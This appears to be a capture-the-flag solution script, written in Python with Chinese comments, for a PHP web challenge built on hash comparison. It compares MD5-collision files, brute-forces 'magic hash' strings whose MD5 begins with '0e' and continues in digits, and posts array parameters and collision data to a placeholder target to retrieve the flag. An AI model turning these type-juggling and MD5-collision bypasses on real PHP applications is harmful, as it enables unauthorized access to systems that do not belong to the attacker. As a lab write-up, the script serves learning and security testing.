2025-10-24-web2_hash_WP

import hashlib

def check_file_differences():
    """详细检查四个文件的差异"""
    
    files = ["jlzj00", "jlzj01", "jlzj10", "jlzj11"]
    
    print("🔍 详细文件检查...")
    print("=" * 50)
    
    # 读取所有文件内容
    contents = {}
    for file in files:
        with open(file, "rb") as f:
            contents[file] = f.read()
    
    # 检查文件内容是否完全相同
    print("文件内容比较:")
    identical_pairs = []
    
    for i, file1 in enumerate(files):
        for j, file2 in enumerate(files):
            if i < j:  # 避免重复比较
                if contents[file1] == contents[file2]:
                    print(f"❌ {file1} 和 {file2} 内容完全相同")
                    identical_pairs.append((file1, file2))
                else:
                    print(f"✅ {file1} 和 {file2} 内容不同")
    
    # 检查文件大小
    print(f"\n📊 文件大小:")
    for file, content in contents.items():
        print(f"{file}: {len(content)} 字节")
    
    # 检查MD5
    print(f"\n🔑 MD5值:")
    for file, content in contents.items():
        md5_val = hashlib.md5(content).hexdigest()
        print(f"{file}: {md5_val}")
    
    print("\n" + "=" * 50)
    
    if identical_pairs:
        print(f"⚠️ 发现 {len(identical_pairs)} 对相同文件:")
        for pair in identical_pairs:
            print(f"  - {pair[0]} 和 {pair[1]}")
        print("\n请选择三个不同的文件!")
    else:
        print("🎉 所有文件内容都不同!")
    
    return identical_pairs

def find_best_combination():
    """找到三个完全不同的文件组合"""
    
    files = ["jlzj00", "jlzj01", "jlzj10", "jlzj11"]
    contents = {}
    
    for file in files:
        with open(file, "rb") as f:
            contents[file] = f.read()
    
    # 尝试所有可能的组合
    combinations = [
        ["jlzj00", "jlzj01", "jlzj10"],
        ["jlzj00", "jlzj01", "jlzj11"], 
        ["jlzj00", "jlzj10", "jlzj11"],
        ["jlzj01", "jlzj10", "jlzj11"]
    ]
    
    print("\n🔍 寻找最佳文件组合...")
    print("=" * 50)
    
    valid_combinations = []
    
    for combo in combinations:
        f1, f2, f3 = combo
        c1, c2, c3 = contents[f1], contents[f2], contents[f3]
        
        # 检查是否所有文件都不同
        if c1 != c2 and c1 != c3 and c2 != c3:
            valid_combinations.append(combo)
            print(f"✅ 有效组合: {combo}")
        else:
            print(f"❌ 无效组合: {combo} (有重复文件)")
    
    return valid_combinations

# 运行检查
identical_pairs = check_file_differences()
valid_combos = find_best_combination()

if valid_combos:
    print(f"\n🎯 推荐使用组合: {valid_combos[0]}")
else:
    print("\n❌ 没有找到三个完全不同的文件组合")

with open('jlzj00', 'rb') as f:
    val5_content = f.read()
with open('jlzj01', 'rb') as f:
    val6_content = f.read()  
with open('jlzj10', 'rb') as f:
    val7_content = f.read()

# POST数据 - 文件内容作为字符串
data = {
    'val5': val5_content,
    'val6': val6_content,
    'val7': val7_content
}

import hashlib

def find_a():
    """寻找满足条件的$a：MD5以'0e'开头，后面全是数字"""
    chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    
    # 遍历所有5位字母数字组合
    for i in chars:
        for j in chars:
            for m in chars:
                for n in chars:
                    for k in chars:
                        payload = (i + j + m + n + k)
                        md5_hash = hashlib.md5(payload.encode()).hexdigest()
                        
                        # 检查条件：以"0e"开头，后面全是数字
                        if md5_hash.startswith("0e") and md5_hash[2:].isdigit():
                            print(f"找到$a: {payload} -> {md5_hash}")
                            return payload, md5_hash

def find_b():
    """寻找满足条件的$b：MD5第二位是'e'，后面全是数字"""
    chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    
    for i in chars:
        for j in chars:
            for m in chars:
                for n in chars:
                    for k in chars:
                        payload = (i + j + m + n + k)
                        md5_hash = hashlib.md5(payload.encode()).hexdigest()
                        
                        # 检查条件：第二位是'e'，后面全是数字
                        if md5_hash[1] == 'e' and md5_hash[2:].isdigit():
                            print(f"找到$b: {payload} -> {md5_hash}")
                            return payload, md5_hash

if __name__ == "__main__":
    a_value, a_md5 = find_a()
    b_value, b_md5 = find_b()

import requests

def exploit_with_post_data():
    url = "http://you_ip/"
    
    # GET参数
    params = {
        'val1[]': '1',
        'val2[]': '2', 
        'val3[]': '3',
        'val4[]': '4',
        'm': '3',
        'n': '0'
    }
    
    # 读取文件内容作为字符串发送
    with open('jlzj00', 'rb') as f:
        val5_content = f.read()
    with open('jlzj01', 'rb') as f:
        val6_content = f.read()  
    with open('jlzj10', 'rb') as f:
        val7_content = f.read()
    
    # POST数据 - 文件内容作为字符串
    data = {
        'val5': val5_content,
        'val6': val6_content,
        'val7': val7_content,
        'a': 'byGcY',
        'b': 'e2P2Z' # 
    }
    
    print("🚀 使用POST字符串发送文件内容...")
    
    try:
        response = requests.post(url, params=params, data=data)
        
        print("📋 响应状态码:", response.status_code)
        print("📋 响应内容:")
        print("=" * 50)
        print(response.text)
        print("=" * 50)
        with open("flag.html","w") as f:
            f.write(response.text)
 
            
    except Exception as e:
        print(f"❌ 请求失败: {e}")

# 运行攻击
exploit_with_post_data()